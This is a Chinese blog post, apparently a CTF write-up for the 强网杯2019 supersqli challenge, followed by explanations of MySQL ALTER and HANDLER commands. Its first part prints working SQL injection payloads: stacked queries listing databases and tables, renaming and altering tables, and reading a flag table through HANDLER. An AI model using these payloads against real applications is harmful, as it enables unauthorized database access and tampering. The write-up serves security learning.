[强网杯2019]supersqli--Web安全进阶系列

[强网杯2019]supersqli--Web安全进阶系列

image-20240618100820840

使用引号判断是否存在sql注入

image-20240618100900718

报错,可能存在sql注入,注入payload,判断列数,结果为不存在4列

?inject=1' order by 4 -- q

image-20240618102748897

换2试试,正常显示,说明存在2列输出结果

?inject=1' order by 2 -- q

image-20240618103051527

尝试使用联合注入失败,并且限制了select|update|delete|drop|insert|where|\./i

?inject=1' union select 1,2 -- q

image-20240618103126193

注入payload,存在堆叠注入

?inject=1' ; show databases;  -- w

image-20240618103305228

查看当前数据库表

?inject=-1' ; show tables;  -- w

image-20240618103633311

查看words表中的列名,包含id和data

?inject=-1' ; show columns from words ;  -- w

image-20240618103607847

这里我们通过修改表名和列名的方式,把结果给爆出来,注入以下payload

?inject=-1' ; rename `words` to `words1` ; rename `1919810931114514` to `words` ; alter table `words` change `id` `flag` varcchar(100) ; -- w

image-20240618105900183

sql语句alter的使用:

当我们需要修改数据表名或者修改数据表字段时,就需要使用到 MySQL ALTER 命令。

MySQL 的 ALTER 命令用于修改数据库、表和索引等对象的结构

ALTER 命令允许你添加、修改或删除数据库对象,并且可以用于更改表的列定义、添加约束、创建和删除索引等操作。

ALTER 命令非常强大,可以在数据库结构发生变化时进行灵活的修改和调整。

-- 向表中添加列
alter table [table_name] 
add column [new_column] [datatype];

-- 修改数据类型
alter table [table_name]
modify column [column_name] [datatype]

-- 修改列明
alter table [table_name]
change column [old_column_name] [new_column_name] [datatype];

-- 删除列
alter table table_name
drop column [column_name];

--数据去重
create table [tmp] select * from [table_name_] group by ([col1],[col2]); -- 先创建一个临时表
drop table [table_name_];-- 删除具有重复数据的表
alter table tmp rename table_name_;-- 将临时表修改名称为你的需要去重的表名即可
or
rename tmp table_name_;-- 俩种修改表名的方式皆可

再使用handler查看第一行数据,爆出flag

?inject=1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w

image-20240618110118031

知识补充:

mysql支持多种查询数据的方式,除了常见的select语句外,还有handler命令,handler允许用户一行一行地读取表数据,但功能并不能像select那样全面。他是mysql专有地特性,并未被纳入sql标准。handler为存储引擎提供了直接地接口,主要用于MySAM和InnoDB表,提供了一种访问表数据的直接方式。以下是它地常见用法:

-- 首先创建一张表
create table handler_table(id int, name varchar(10));
-- 按下列顺序依次插入数据
insert into handler_table values(3, '张三');
insert into handler_table values(4, '李四');
insert into handler_table values(5, '王五');
insert into handler_table values(1, '刘一');
insert into handler_table values(2, '陈二');

image-20240618155553146

不通过索引查看表

1、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)
2、查看数据
mysql> handler handler_table read first;
+------+--------+
| id   | name   |
+------+--------+
|    3 | 张三   |
+------+--------+
1 row in set (0.00 sec)

mysql> handler handler_table read next;
+------+--------+
| id   | name   |
+------+--------+
|    4 | 李四   |
+------+--------+
1 row in set (0.00 sec)
3、关闭句柄
handler handler_table close;

通过索引查看表

1、创建索引
mysql> create index handler_index on handler_table(id);
Query OK, 5 rows affected (0.02 sec)
2、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler handler_table open as p;
Query OK, 0 rows affected (0.00 sec)
3、查看数据
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
#举例
mysql> handler p read handler_index first;
+------+--------+
| id   | name   |
+------+--------+
|    1 | 刘一   |
+------+--------+
1 row in set (0.00 sec)
mysql> handler p read handler_index last;
+------+--------+
| id   | name   |
+------+--------+
|    5 | 王五   |
+------+--------+
1 row in set (0.00 sec)
4、关闭句柄
handler p close;

Tips:如果遇到如下错误,表示没有删除原来创建地索引句柄

mysql> create index handler_index on handler_table(id);
ERROR 1061 (42000): Duplicate key name 'handler_index'

使用如下指令,即可删除索引句柄

alter table hand_table drop index hander_index;

然后再次创建索引句柄

mysql> alter table handler_table drop index handler_index; -- 删除之前创建地索引句柄
Query OK, 5 rows affected (0.02 sec)
Records: 5  Duplicates: 0  Warnings: 0
mysql> create index handler_index on handler_table(id);-- 创建句柄
Query OK, 5 rows affected (0.02 sec)

emmm差不多了,谢谢观看,博主21岁,交朋友dd。。。。。

原文https://mp.weixin.qq.com/s/5FkhxrBs4cM2yv7_SL9Z3Q

posted @ 2024-09-18 15:36  白小雨  阅读(24)  评论(0编辑  收藏  举报